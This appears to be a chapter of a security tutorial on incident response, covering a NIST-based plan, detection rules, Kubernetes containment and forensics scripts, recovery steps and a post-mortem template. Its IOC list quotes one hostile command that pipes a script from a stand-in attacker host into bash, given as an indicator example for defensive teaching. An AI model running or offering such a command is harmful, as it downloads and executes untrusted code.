Incident Response

1 - Response framework

1.1 NIST Incident Response

1.2 Detailed phases

Phase	Activities
Preparation	Plans, teams, tools, training
Detection	Monitoring, alerts, triage
Containment	Isolation, damage limitation
Eradication	Removal of the threat
Recovery	Service restoration
Lessons Learned	Post-mortem, improvements

2 - Preparation

2.1 Incident Response Plan

incident_response_plan:
  version: 1.0
  last_updated: 2024-01-15
  
  team:
    incident_commander: security-[email protected]
    communications: [email protected]
    technical_lead: devops-[email protected]
    legal: [email protected]
    
  severity_levels:
    P1_Critical:
      description: "Service down, data breach"
      response_time: 15 minutes
      escalation: immediate
      communication: CEO, Board
      
    P2_High:
      description: "Security vulnerability exploited"
      response_time: 1 hour
      escalation: 30 minutes
      communication: CTO, Security team
      
    P3_Medium:
      description: "Suspicious activity detected"
      response_time: 4 hours
      escalation: 2 hours
      communication: Security team
      
    P4_Low:
      description: "Policy violation, minor issue"
      response_time: 24 hours
      escalation: 12 hours
      communication: Team lead

2.2 Runbook Template

# Security Incident Runbook

## Incident: [Incident type]

### Detection
- [ ] Check the source alert
- [ ] Confirm the incident (not a false positive)
- [ ] Assess the severity

### Initial Response
- [ ] Notify the incident commander
- [ ] Create a Slack channel #incident-XXXX
- [ ] Document the timeline

### Containment
- [ ] Isolate the affected systems
- [ ] Block suspicious access
- [ ] Preserve the evidence

### Investigation
- [ ] Collect the logs
- [ ] Analyze the IOCs
- [ ] Identify the root cause

### Recovery
- [ ] Apply the fixes
- [ ] Restore the services
- [ ] Validate security

### Post-Incident
- [ ] Write the post-mortem
- [ ] Identify improvements
- [ ] Update the runbooks

3 - Detection

3.1 SIEM (Security Information and Event Management)

3.2 Detection Rules

# Elastic SIEM Rule
name: "Brute Force SSH"
description: "Detect SSH brute force attempts"
type: threshold
query: |
  event.category: authentication AND
  event.outcome: failure AND
  source.ip: *
threshold:
  field: source.ip
  value: 10
  cardinality:
    field: user.name
    value: 3
severity: high
risk_score: 75
tags:
  - attack.credential_access
  - attack.t1110

# Falco Rule
- rule: Suspicious Network Activity
  desc: Detect outbound connections to suspicious destinations
  condition: >
    outbound and 
    container and 
    fd.sip in (malicious_ips)
  output: >
    Suspicious outbound connection 
    (container=%container.name ip=%fd.sip)
  priority: CRITICAL

3.3 Alerting Configuration

# Prometheus Alertmanager
groups:
  - name: security-alerts
    rules:
      - alert: HighFailedLoginRate
        expr: |
          sum(rate(auth_failures_total[5m])) > 10
        for: 5m
        labels:
          severity: high
          team: security
        annotations:
          summary: "High rate of failed logins detected"
          description: "{{ $value }} failed logins per second"
          runbook: "https://runbooks.example.com/failed-logins"
          
      - alert: UnauthorizedAPIAccess
        expr: |
          sum(rate(api_unauthorized_total[1m])) > 5
        for: 2m
        labels:
          severity: critical
          team: security
        annotations:
          summary: "Unauthorized API access detected"

4 - Containment

4.1 Immediate actions

# Isolate a compromised pod
kubectl label pod compromised-pod quarantine=true
kubectl patch pod compromised-pod -p '{"spec":{"nodeName":"quarantine-node"}}'

# Block an IP
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-attacker
spec:
  podSelector: {}
  ingress:
    - from:
        - ipBlock:
            cidr: 0.0.0.0/0
            except:
              - 192.168.1.100/32  # Attacker IP
EOF

# Revoke credentials
aws iam delete-access-key --user-name compromised-user --access-key-id AKIAXXXXXXX

4.2 Kubernetes Incident Response

# Isolation NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: isolate-pod
  namespace: production
spec:
  podSelector:
    matchLabels:
      quarantine: "true"
  policyTypes:
    - Ingress
    - Egress
  ingress: []
  egress: []

# Isolation script
#!/bin/bash
POD=$1
NAMESPACE=$2

# Label for isolation
kubectl label pod $POD -n $NAMESPACE quarantine=true

# Capture the state
kubectl describe pod $POD -n $NAMESPACE > /evidence/$POD-describe.txt
kubectl logs $POD -n $NAMESPACE --all-containers > /evidence/$POD-logs.txt

# Snapshot if possible
kubectl exec $POD -n $NAMESPACE -- tar czf - /app > /evidence/$POD-filesystem.tar.gz

5 - Investigation

5.1 Log Analysis

# CloudWatch Logs Insights
fields @timestamp, @message
| filter @message like /error|fail|denied|unauthorized/
| sort @timestamp desc
| limit 1000

# Elastic Query
GET logs-*/_search
{
  "query": {
    "bool": {
      "must": [
        { "range": { "@timestamp": { "gte": "now-24h" } } },
        { "match": { "source.ip": "192.168.1.100" } }
      ]
    }
  },
  "sort": [{ "@timestamp": "desc" }]
}

5.2 Container Forensics

# Capture the container state
docker export compromised-container > container-export.tar

# Analyze the filesystem
mkdir /forensics
tar -xf container-export.tar -C /forensics

# Search for malware
clamscan -r /forensics

# Analyze processes (if container running)
docker exec compromised-container ps aux
docker exec compromised-container netstat -tulpn
docker exec compromised-container cat /proc/*/cmdline

5.3 IOC (Indicators of Compromise)

# IOC Collection
iocs:
  ip_addresses:
    - 192.168.1.100
    - 10.0.0.50
  domains:
    - malicious.example.com
  file_hashes:
    - sha256: abc123...
  user_agents:
    - "Mozilla/5.0 (Malware)"
  commands:
    - "curl http://evil.com/shell.sh | bash"

6 - Recovery

6.1 Recovery checklist

## Recovery Checklist

### Pre-Recovery
- [ ] Threat eradication confirmed
- [ ] Backups verified
- [ ] Patches applied

### Recovery Steps
- [ ] Restore from a clean backup
- [ ] Reset all credentials
- [ ] Validate data integrity
- [ ] Enable enhanced monitoring

### Post-Recovery
- [ ] Check logs for anomalies
- [ ] Confirm normal performance
- [ ] Communicate to stakeholders

6.2 Kubernetes Rollback

# Rollback deployment
kubectl rollout undo deployment/app -n production

# Restore from backup
velero restore create --from-backup daily-backup-clean

# Redeploy from a clean image
kubectl set image deployment/app app=myregistry/app:known-good-version

7 - Post-Incident

7.1 Post-Mortem Template

# Post-Mortem: [Incident title]

## Summary
- **Date**: 2024-01-15 14:00 UTC
- **Duration**: 4 hours
- **Severity**: P1
- **Impact**: Service unavailable for 10,000 users

## Timeline
| Time | Event |
|-------|-----------|
| 14:00 | Anomaly detected |
| 14:05 | Alert triggered |
| 14:15 | Team mobilized |
| 15:00 | Root cause identified |
| 17:00 | Service restored |
| 18:00 | Post-mortem written |

## Root Cause
[Detailed description of the cause]

## Impact
- Users affected: 10,000
- Revenue lost: $XX,XXX
- SLA breach: Yes/No

## What went well
- Fast detection
- Effective communication
- Responsive team

## What went wrong
- Insufficient monitoring
- Outdated runbook
- Late escalation

## Action Items
| Action | Owner | Due Date | Status |
|--------|-------|----------|--------|
| Improve monitoring | @devops | 2024-01-22 | Open |
| Update runbook | @security | 2024-01-20 | Open |
| Team training | @lead | 2024-02-01 | Open |

## Lessons Learned
[Key takeaways]

7.2 Incident Response metrics

Metric	Definition	Target
MTTD	Time to Detect	< 15 min
MTTA	Time to Acknowledge	< 5 min
MTTR	Time to Resolve	< 4h (P1)
MTTR	Time to Remediate	< 24h

Summary

In this chapter, we learned:

The NIST framework for incident response
Preparation (plans, runbooks)
Detection (SIEM, alerting)
Containment and isolation
Investigation and forensics
Recovery and post-mortems

Next step

In the next chapter, we will look at Best practices.

→ Next chapter: Best practices

← Back to table of contents

1 - Response framework​

1.1 NIST Incident Response​

1.2 Detailed phases​

2 - Preparation​

2.1 Incident Response Plan​

2.2 Runbook Template​

3 - Detection​

3.1 SIEM (Security Information and Event Management)​

3.2 Detection Rules​

3.3 Alerting Configuration​

4 - Containment​

4.1 Immediate actions​

4.2 Kubernetes Incident Response​

5 - Investigation​

5.1 Log Analysis​

5.2 Container Forensics​

5.3 IOC (Indicators of Compromise)​

6 - Recovery​

6.1 Recovery checklist​

6.2 Kubernetes Rollback​

7 - Post-Incident​

7.1 Post-Mortem Template​

7.2 Incident Response metrics​

Summary​

Next step​

1 - Response framework

1.1 NIST Incident Response

1.2 Detailed phases

2 - Preparation

2.1 Incident Response Plan

2.2 Runbook Template

3 - Detection

3.1 SIEM (Security Information and Event Management)

3.2 Detection Rules

3.3 Alerting Configuration

4 - Containment

4.1 Immediate actions

4.2 Kubernetes Incident Response

5 - Investigation

5.1 Log Analysis

5.2 Container Forensics

5.3 IOC (Indicators of Compromise)

6 - Recovery

6.1 Recovery checklist

6.2 Kubernetes Rollback

7 - Post-Incident

7.1 Post-Mortem Template

7.2 Incident Response metrics

Summary

Next step